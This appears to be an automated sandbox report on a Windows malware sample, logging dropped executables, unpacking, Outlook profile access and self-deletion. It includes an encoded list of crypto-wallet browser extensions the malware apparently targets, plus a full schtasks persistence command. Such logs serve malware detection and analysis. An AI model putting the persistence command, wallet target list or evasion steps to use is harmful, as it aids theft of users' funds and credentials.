bnxNZXRhbWFzawphZmJjYmpwYnBmYWRsa21obWNsaGtlZW9kbWFtY2ZsY3xNYXRoV2FsbGV0CmhuZmFua25vY2Zlb2ZiZGRnY2lqbm1obmZua2RuYWFkfENvaW5iYXNlCmZoYm9oaW1hZWxib2hwamJibGRjbmdjbmFwbmRvZGpwfEJpbmFuY2VDaGFpbgpvZGJmcGVlaWhka2JpaG1vcGtiam1vb25mYW5sYmZjbHxCcmF2ZVdhbGxldApocGdsZmhnZm5oYmdwamRlbmpnbWRnb2VpYXBwYWZsbnxHdWFyZGFXYWxsZXQKYmxuaWVpaWZmYm9pbGxrbmpuZXBvZ2poa2dub2FwYWN8RXF1YWxXYWxsZXQKY2plbGZwbHBsZWJkamplbmxscGpjYmxtamtmY2ZmbmV8SmF4eHhMaWJlcnR5CmZpaGtha2ZvYmtta2pvanBjaHBmZ2NtaGZqbm1uZnBpfEJpdEFwcFdhbGxldAprbmNjaGRpZ29iZ2hlbmJiYWRkb2pqbm5hb2dmcHBmanxpV2FsbGV0CmFta21qam1tZmxkZG9nbWhwamxvaW1pcGJvZm5mamlofFdvbWJhdApmaGlsYWhlaW1nbGlnbmRka2pnb2ZrY2JnZWtoZW5iaHxBdG9taWNXYWxsZXQKbmxibW5uaWpjbmxlZ2tqanBjZmpjbG1jZmdnZmVmZG18TWV3Q3gKbmFuam1ka25oa2luaWZua2dkY2dnY2ZuaGRhYW1tbWp8R3VpbGRXYWxsZXQKbmtkZGduY2RqZ2pmY2RkYW1mZ2NtZm5saGNjbmltaWd8U2F0dXJuV2FsbGV0CmZuamhta2hobWtiamtrYWJuZGNubm9nYWdvZ2JuZWVjfFJvbmluV2FsbGV

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4044:120:WilError_01
Source: C:\Windows\SysWOW64\fontview.exe	Mutant created: \Sessions\1\BaseNamedObjects\Random name
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5080:120:WilError_01
Source: C:\Windows\SysWOW64\fontview.exe	Mutant created: \Sessions\1\BaseNamedObjects\MSCTF.Asm.{00000009-4fb3f26-9d18-66b568-627b8a85e4b6}

Source: Library.exe.25.dr, ue06e.cs	Cryptographic APIs: 'CreateDecryptor'
Source: Library.exe.25.dr, ue03f.cs	Cryptographic APIs: 'CreateDecryptor'

Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\226F.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\226F.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2560.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2560.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\dllhost.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: C:\Windows\System32\dllhost.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: C:\Windows\System32\rundll32.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\7.0\Outlook\Profiles\Outlook

Source: C:\Users\user\Desktop\aw9Ynwqd1x.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: aw9Ynwqd1x.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: wkernel32.pdb source: fontview.exe, 00000013.00000003.386062019.0000000005086000.00000004.00000020.00020000.00000000.sdmp, fontview.exe, 00000013.00000003.386284855.00000000051A0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: WINMMBASE.pdbUGP source: fontview.exe, 00000013.00000003.421038965.0000000003600000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ucrtbase.pdb source: fontview.exe, 00000013.00000003.395722778.0000000005088000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: msvcrt.pdb source: fontview.exe, 00000013.00000003.389771646.0000000005150000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wrpcrt4.pdb source: fontview.exe, 00000013.00000003.391168128.0000000005150000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: fontview.exe, 00000013.00000003.385093474.00000000053B0000.00000004.00001000.00020000.00000000.sdmp, fontview.exe, 00000013.00000003.383912006.0000000005084000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: shcore.pdb source: fontview.exe, 00000013.00000003.406207334.0000000005084000.00000004.00000020.00020000.00000000.sdmp, fontview.exe, 00000013.00000003.406327938.0000000005110000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000018.00000003.490751661.000002275D660000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wwin32u.pdbGCTL source: fontview.exe, 00000013.00000003.401619984.0000000003600000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: bcryptprimitives.pdbUGP source: fontview.exe, 00000013.00000003.391810335.0000000005000000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\zetoxu68-vepibayawu-woxixawenobaju_93\fucabopiso_d.pdbp source: aw9Ynwqd1x.exe, 00000000.00000000.246785291.0000000000401000.00000020.00000001.01000000.00000003.sdmp, dbjigst, 0000000D.00000000.336022819.0000000000401000.00000020.00000001.01000000.00000008.sdmp
Source:	Binary string: _C:\fepovilorefego5.pdb source: explorer.exe, 00000001.00000003.337271065.00000000082B0000.00000004.00000001.00020000.00000000.sdmp, 336E.exe, 0000000E.00000000.336659529.0000000000401000.00000020.00000001.01000000.00000009.sdmp
Source:	Binary string: wgdi32.pdb source: fontview.exe, 00000013.00000003.392076418.0000000003600000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: setupapi.pdbUGP source: fontview.exe, 00000013.00000003.423766732.00000000059F0000.00000004.00001000.00020000.00000000.sdmp, fontview.exe, 00000013.00000003.421577482.00000000055B2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: fltLib.pdb source: fontview.exe, 00000013.00000003.419420089.0000000003600000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: advapi32.pdb source: fontview.exe, 00000013.00000003.388608530.0000000005080000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wsspicli.pdb source: fontview.exe, 00000013.00000003.391685317.0000000003600000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\zetoxu68-vepibayawu-woxixawenobaju_93\fucabopiso_d.pdb source: aw9Ynwqd1x.exe, 00000000.00000000.246785291.0000000000401000.00000020.00000001.01000000.00000003.sdmp, dbjigst, 0000000D.00000000.336022819.0000000000401000.00000020.00000001.01000000.00000008.sdmp
Source:	Binary string: cfgmgr32.pdbUGP source: fontview.exe, 00000013.00000003.414369645.0000000005000000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\nujiwucosunes\vezik.pdb source: explorer.exe, 00000001.00000003.342443196.000000000B700000.00000004.00000010.00020000.00000000.sdmp, 2560.exe, 0000000F.00000002.356859286.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, 2560.exe, 0000000F.00000000.341351275.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, 2560.exe, 00000011.00000000.353377908.0000000000401000.00000020.00000001.01000000.0000000A.sdmp
Source:	Binary string: shell32.pdb source: fontview.exe, 00000013.00000003.412196998.0000000006930000.00000004.00001000.00020000.00000000.sdmp, fontview.exe, 00000013.00000003.410010255.00000000055B1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: 2560.exe, 0000000F.00000002.362651886.0000000004A00000.00000040.00001000.00020000.00000000.sdmp, 2560.exe, 00000011.00000002.363362004.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: wrpcrt4.pdbUGP source: fontview.exe, 00000013.00000003.391168128.0000000005150000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Timayiko\Kodale\hiwer\Fami\Somayofa wiho.pdb source: 226F.exe, 00000010.00000002.479266806.000000000114C000.00000002.00000001.01000000.0000000B.sdmp, 226F.exe, 00000010.00000000.352256641.000000000114C000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: msvcp_win.pdb source: fontview.exe, 00000013.00000003.395588310.0000000005080000.00000004.00001000.00020000.00000000.sdmp, fontview.exe, 00000013.00000003.445193713.00000000053B1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: psapi.pdbUGP source: fontview.exe, 00000013.00000003.421493166.0000000003600000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wgdi32.pdbUGP source: fontview.exe, 00000013.00000003.392076418.0000000003600000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wimm32.pdb source: fontview.exe, 00000013.00000003.419485427.0000000003600000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: fontview.exe, 00000013.00000003.386704960.00000000053B1000.00000004.00000020.00020000.00000000.sdmp, fontview.exe, 00000013.00000003.387503810.00000000055A0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: shlwapi.pdb source: fontview.exe, 00000013.00000003.401675563.0000000005000000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: mpr.pdb source: fontview.exe, 00000013.00000003.425517005.0000000003600000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wwin32u.pdb source: fontview.exe, 00000013.00000003.401619984.0000000003600000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wsspicli.pdbGCTL source: fontview.exe, 00000013.00000003.391685317.0000000003600000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: shlwapi.pdbUGP source: fontview.exe, 00000013.00000003.401675563.0000000005000000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: setupapi.pdb source: fontview.exe, 00000013.00000003.423766732.00000000059F0000.00000004.00001000.00020000.00000000.sdmp, fontview.exe, 00000013.00000003.421577482.00000000055B2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 3C:\nujiwucosunes\vezik.pdb` source: explorer.exe, 00000001.00000003.342443196.000000000B700000.00000004.00000010.00020000.00000000.sdmp, 2560.exe, 0000000F.00000002.356859286.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, 2560.exe, 0000000F.00000000.341351275.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, 2560.exe, 00000011.00000000.353377908.0000000000401000.00000020.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: 2560.exe, 0000000F.00000002.362651886.0000000004A00000.00000040.00001000.00020000.00000000.sdmp, 2560.exe, 00000011.00000002.363362004.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: combase.pdbUGP source: fontview.exe, 00000013.00000003.401758325.00000000055B3000.00000004.00000020.00020000.00000000.sdmp, fontview.exe, 00000013.00000003.403198719.0000000005820000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ucrtbase.pdbUGP source: fontview.exe, 00000013.00000003.395722778.0000000005088000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdbUGP source: fontview.exe, 00000013.00000003.386704960.00000000053B1000.00000004.00000020.00020000.00000000.sdmp, fontview.exe, 00000013.00000003.387503810.00000000055A0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: cryptbase.pdbUGP source: fontview.exe, 00000013.00000003.391748694.0000000003600000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wuser32.pdbUGP source: fontview.exe, 00000013.00000003.400623587.00000000055B0000.00000004.00001000.00020000.00000000.sdmp, fontview.exe, 00000013.00000003.400263237.0000000005084000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: shell32.pdbUGP source: fontview.exe, 00000013.00000003.412196998.0000000006930000.00000004.00001000.00020000.00000000.sdmp, fontview.exe, 00000013.00000003.410010255.00000000055B1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wimm32.pdbUGP source: fontview.exe, 00000013.00000003.419485427.0000000003600000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: fltLib.pdbGCTL source: fontview.exe, 00000013.00000003.419420089.0000000003600000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: WINMMBASE.pdb source: fontview.exe, 00000013.00000003.421038965.0000000003600000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: comdlg32.pdb source: fontview.exe, 00000013.00000003.405354581.000000000508E000.00000004.00000020.00020000.00000000.sdmp, fontview.exe, 00000013.00000003.405703009.00000000055B0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wgdi32full.pdbUGP source: fontview.exe, 00000013.00000003.392165110.0000000005102000.00000004.00000020.00020000.00000000.sdmp, fontview.exe, 00000013.00000003.393323768.000000000542C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: profapi.pdb source: fontview.exe, 00000013.00000003.419057448.0000000003600000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ws2_32.pdb source: fontview.exe, 00000013.00000003.421384076.0000000005000000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: comdlg32.pdbUGP source: fontview.exe, 00000013.00000003.405354581.000000000508E000.00000004.00000020.00020000.00000000.sdmp, fontview.exe, 00000013.00000003.405703009.00000000055B0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wgdi32full.pdb source: fontview.exe, 00000013.00000003.392165110.0000000005102000.00000004.00000020.00020000.00000000.sdmp, fontview.exe, 00000013.00000003.393323768.000000000542C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: shcore.pdbUGP source: fontview.exe, 00000013.00000003.406207334.0000000005084000.00000004.00000020.00020000.00000000.sdmp, fontview.exe, 00000013.00000003.406327938.0000000005110000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000018.00000003.490751661.000002275D660000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: mpr.pdbUGP source: fontview.exe, 00000013.00000003.425517005.0000000003600000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: sechost.pdb source: fontview.exe, 00000013.00000003.390338279.0000000005000000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: XAMLHostHwndvolumelabelmasteredudfhelpJOLIETUDFData\Program Files\$Windows.~BT\Windows\ProgramData\Program Files (x86)\Program Files\Data\Windows\Data\ProgramData\Data\Program Files (x86)\.cer.cdxml.cat.automaticdestinations-ms.appxpackage.appxbundle.appxWindows.old\.fon.etl.efi.dsft.dmp.customdestinations-ms.cookie.msm.msip.mpb.mp.p12.p10.otf.ost.olb.ocx.nst.mui.pdb.partial.p7x.p7s.p7r.p7m.p7c.p7b.psf.psd1.pfx.pfm.pem.ttc.sys.sst.spkg.spc.sft.rll.winmd.wim.wfs.vsix.vsi.vmrs.vmcxWININET.xap%s (%d).%s\shellIfExecBrowserFlagsft%06dNeverShowExtAlwaysShowExtTopicL source: fontview.exe, 00000013.00000003.412196998.0000000006930000.00000004.00001000.00020000.00000000.sdmp, fontview.exe, 00000013.00000003.410010255.00000000055B1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: fontview.exe, 00000013.00000003.385093474.00000000053B0000.00000004.00001000.00020000.00000000.sdmp, fontview.exe, 00000013.00000003.383912006.0000000005084000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\fepovilorefego5.pdb source: explorer.exe, 00000001.00000003.337271065.00000000082B0000.00000004.00000001.00020000.00000000.sdmp, 336E.exe, 0000000E.00000000.336659529.0000000000401000.00000020.00000001.01000000.00000009.sdmp
Source:	Binary string: ole32.pdbUGP source: fontview.exe, 00000013.00000003.420283986.00000000055B0000.00000004.00001000.00020000.00000000.sdmp, fontview.exe, 00000013.00000003.419630627.000000000508A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: powrprof.pdbUGP source: fontview.exe, 00000013.00000003.419219769.0000000005000000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: powrprof.pdb source: fontview.exe, 00000013.00000003.419219769.0000000005000000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wmswsock.pdb source: fontview.exe, 00000013.00000003.425560872.0000000005000000.00000004.00001000.00020000.00000000.sdmp, fontview.exe, 00000013.00000003.446231172.0000000004F16000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ole32.pdb source: fontview.exe, 00000013.00000003.420283986.00000000055B0000.00000004.00001000.00020000.00000000.sdmp, fontview.exe, 00000013.00000003.419630627.000000000508A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Windows.Storage.pdbUGP source: fontview.exe, 00000013.00000003.416675694.0000000005B80000.00000004.00001000.00020000.00000000.sdmp, fontview.exe, 00000013.00000003.414492613.00000000055B2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Kernel.Appcore.pdbUGP source: fontview.exe, 00000013.00000003.418853263.0000000003600000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdbGCTL source: fontview.exe, 00000013.00000003.386062019.0000000005086000.00000004.00000020.00020000.00000000.sdmp, fontview.exe, 00000013.00000003.386284855.00000000051A0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: sechost.pdbUGP source: fontview.exe, 00000013.00000003.390338279.0000000005000000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: comctl32.pdbUGP source: fontview.exe, 00000013.00000003.407879570.00000000057D0000.00000004.00001000.00020000.00000000.sdmp, fontview.exe, 00000013.00000003.406570415.00000000055BF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Kernel.Appcore.pdb source: fontview.exe, 00000013.00000003.418853263.0000000003600000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: psapi.pdb source: fontview.exe, 00000013.00000003.421493166.0000000003600000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: msvcp_win.pdbUGP source: fontview.exe, 00000013.00000003.395588310.0000000005080000.00000004.00001000.00020000.00000000.sdmp, fontview.exe, 00000013.00000003.445193713.00000000053B1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: advapi32.pdbUGP source: fontview.exe, 00000013.00000003.388608530.0000000005080000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: cryptbase.pdb source: fontview.exe, 00000013.00000003.391748694.0000000003600000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: cfgmgr32.pdb source: fontview.exe, 00000013.00000003.414369645.0000000005000000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: bcryptprimitives.pdb source: fontview.exe, 00000013.00000003.391810335.0000000005000000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: oleaut32.pdbUGP source: fontview.exe, 00000013.00000003.421125892.0000000005084000.00000004.00000020.00020000.00000000.sdmp, fontview.exe, 00000013.00000003.421276873.0000000005120000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: combase.pdb source: fontview.exe, 00000013.00000003.401758325.00000000055B3000.00000004.00000020.00020000.00000000.sdmp, fontview.exe, 00000013.00000003.403198719.0000000005820000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: Windows.Storage.pdb source: fontview.exe, 00000013.00000003.416675694.0000000005B80000.00000004.00001000.00020000.00000000.sdmp, fontview.exe, 00000013.00000003.414492613.00000000055B2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ApplicationFrameWindowWindows.Foundation.Collections.IIterator`1<IUnknown>Windows.Foundation.Collections.IVectorView`1<IUnknown>Windows.Foundation.Collections.IVector`1<IUnknown>@%SystemRoot%\System32\SettingSyncCore.dll,-1024internal\onecoreuapshell\private\inc\shouldswitchtodesktop.hinternal\onecoreuapshell\private\inc\sharedstoragesources\syncrootcommon.hData\Program Files\Data\Program Files (x86)\Data\ProgramData\Data\Windows\Program Files\Program Files (x86)\ProgramData\Windows\$Windows.~BT\Windows.old\.appx.appxbundle.appxpackage.automaticdestinations-ms.cat.cdxml.cer.cookie.customdestinations-ms.dmp.dsft.efi.etl.fon.ini.iso.mp.mpb.msip.msm.mui.nst.ocx.olb.ost.otf.p10.p12.p7b.p7c.p7m.p7r.p7s.p7x.partial.pdb.pem.pfm.pfx.psd1.psf.rll.sft.spc.spkg.sst.ttc.ttf.vmcx.vmrs.vsi.vsix.wfs.wim.winmd.xapFTSearched0000000000000000000BasicPropertiesDocumentPropertiesImagePropertiesVideoPropertiesMusicPropertiesRenameAsyncOverloadDefaultOptionsRenameAsyncIStorageItem2GetParentAsyncIsEqualGetThumbnailAsyncOverloadDefaultSizeDefaultOptionsGetThumbnailAsyncOverloadDefaultOptionsget_DisplayNameIStorageItemProperties2GetScaledImageAsThumbnailAsyncOverloadDefaultSizeDefaultOptionsGetScaledImageAsThumbnailAsyncOverloadDefaultOptionsGetScaledImageAsThumbnailAsyncIStorageItemPropertiesWithProviderget_ProviderIStorageItemThumbnailAccessPrivGetScaledImageOrThumbnailAsyncIStorageItemHandleAcccessOpenAsyncPrivatePauseDeferredUpdateSetStreamedFileCallbackGetStreamedFileCallbackGetSpecialInternalPropertySetSpecialInternalPropertyCreateTempFileInSameLocationCopyOverloadDefaultOptionsCopyOverloadCopyAndReplaceAsyncMoveOverloadDefaultNameAndOptionsWindows.Security.EnterpriseData.FileProtectionManagerMoveOverloadDefaultOptionsoptionsCreateFolderAsyncOverloadDefaultOptionsGetItemAsyncGetItemsAsyncOverloadDefaultStartAndCountCreateFileQueryOverloadDefaultCreateFileQueryCreateFolderQueryOverloadDefaultCreateFolderQueryCreateFolderQueryWithOptionsCreateItemQueryWithOptionsGetFilesAsyncOverloadDefaultStartAndCountGetFoldersAsyncOverloadDefaultStartAndCountget_MusicLibraryget_HomeGroupget_RemovableDevicesget_MediaServerDevicesget_Playlistsget_SavedPicturesget_Objects3Dget_AppCapturesget_RecordedCallsGetFolderForUserAsyncget_ApplicationDataSharedLocalGetPublisherCacheFolderGetApplicationDataFolderForUserGetPublisherCacheFolderForUserknownfolder:{AB5FB87B-7CE2-4F83-915D-550846C9537B}knownfolder:{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}knownfolder:{1C2AC1DC-4358-4B6C-9733-AF21156576F0}knownfolder:{FDD39AD0-238F-46AF-ADB4-6C85480369C7}knownfolder:{374DE290-123F-4565-9164-39C4925E467B}knownfolder:{bfb9d5e0-c6a9-404c-b2b2-ae6db6af4968}knownfolder:{4BD8D571-6D19-48D3-BE97-422220080E43}knownfolder:{33E28130-4E1E-4676-835A-98395C3BC3BB}knownfolder:{AE50C081-EBD2-438A-8655-8A092E34987A}knownfolder:{C870044B-F49E-4126-A9C3-B52A1FF411E8}knownfolder:{3B193882-D3AD-4eab-965A-69829D1FB59F}knownfolder:{f3ce0f7c-4901-4acc-8648-d5d44b04ef8f}knownfolder:{18989B1D-99B5-455B-841C-AB7C74E4DDFC}get_Langua
Source:	Binary string: profapi.pdbUGP source: fontview.exe, 00000013.00000003.419057448.0000000003600000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wmswsock.pdbUGP source: fontview.exe, 00000013.00000003.425560872.0000000005000000.00000004.00001000.00020000.00000000.sdmp, fontview.exe, 00000013.00000003.446231172.0000000004F16000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: oleaut32.pdb source: fontview.exe, 00000013.00000003.421125892.0000000005084000.00000004.00000020.00020000.00000000.sdmp, fontview.exe, 00000013.00000003.421276873.0000000005120000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wuser32.pdb source: fontview.exe, 00000013.00000003.400623587.00000000055B0000.00000004.00001000.00020000.00000000.sdmp, fontview.exe, 00000013.00000003.400263237.0000000005084000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: comctl32.pdb source: fontview.exe, 00000013.00000003.407879570.00000000057D0000.00000004.00001000.00020000.00000000.sdmp, fontview.exe, 00000013.00000003.406570415.00000000055BF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ws2_32.pdbUGP source: fontview.exe, 00000013.00000003.421384076.0000000005000000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Temp\336E.exe	Unpacked PE file: 14.2.336E.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\2560.exe	Unpacked PE file: 17.2.2560.exe.400000.0.unpack

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\aw9Ynwqd1x.exe	Unpacked PE file: 0.2.aw9Ynwqd1x.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\dbjigst	Unpacked PE file: 13.2.dbjigst.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Local\Temp\336E.exe	Unpacked PE file: 14.2.336E.exe.400000.0.unpack .text:ER;.data:W;.huxuho:R;.gini:R;.vab:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\2560.exe	Unpacked PE file: 17.2.2560.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;

.NET source code contains potential unpacker

Source: Library.exe.25.dr, ue061.cs

.Net Code: ? System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])

Source: C:\Users\user\Desktop\aw9Ynwqd1x.exe	Code function: 0_2_0040CE51 push ecx; ret	0_2_0040CE64
Source: C:\Users\user\AppData\Roaming\dbjigst	Code function: 13_2_0040CE51 push ecx; ret	13_2_0040CE64
Source: C:\Users\user\AppData\Local\Temp\336E.exe	Code function: 14_2_004363BD push esi; ret	14_2_004363C6
Source: C:\Users\user\AppData\Local\Temp\336E.exe	Code function: 14_2_004139F8 push ecx; ret	14_2_00413A0B

Source: 336E.exe.1.dr	Static PE information: section name: .huxuho
Source: 336E.exe.1.dr	Static PE information: section name: .gini
Source: 336E.exe.1.dr	Static PE information: section name: .vab
Source: svcupdater.exe.14.dr	Static PE information: section name: .huxuho
Source: svcupdater.exe.14.dr	Static PE information: section name: .gini
Source: svcupdater.exe.14.dr	Static PE information: section name: .vab
Source: 5898187.dll.16.dr	Static PE information: section name: .00cfg

Source: initial sample	Static PE information: section name: .text entropy: 7.880058673023214
Source: initial sample	Static PE information: section name: .text entropy: 7.648160210316085

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\dbjigst

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\336E.exe	File created: C:\Users\user\AppData\Roaming\Win32Sync\svcupdater.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\336E.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\226F.exe	Jump to dropped file
Source: C:\Windows\System32\dllhost.exe	File created: C:\Users\user\AppData\Local\Temp\Library.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\dbjigst	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\2560.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\fontview.exe	File created: C:\Users\user\AppData\Roaming\nsis_uns5aa2a3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\226F.exe	File created: C:\Users\user\AppData\Local\Temp\5898187.dll	Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\336E.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn "svcupdater" /tr "C:\Users\user\AppData\Roaming\Win32Sync\svcupdater.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f

Hooking and other Techniques for Hiding and Protection

Deletes itself after installation

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\aw9ynwqd1x.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\dbjigst:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\336E.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\336E.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes			Jump to behavior

Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\336E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\226F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\226F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2560.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
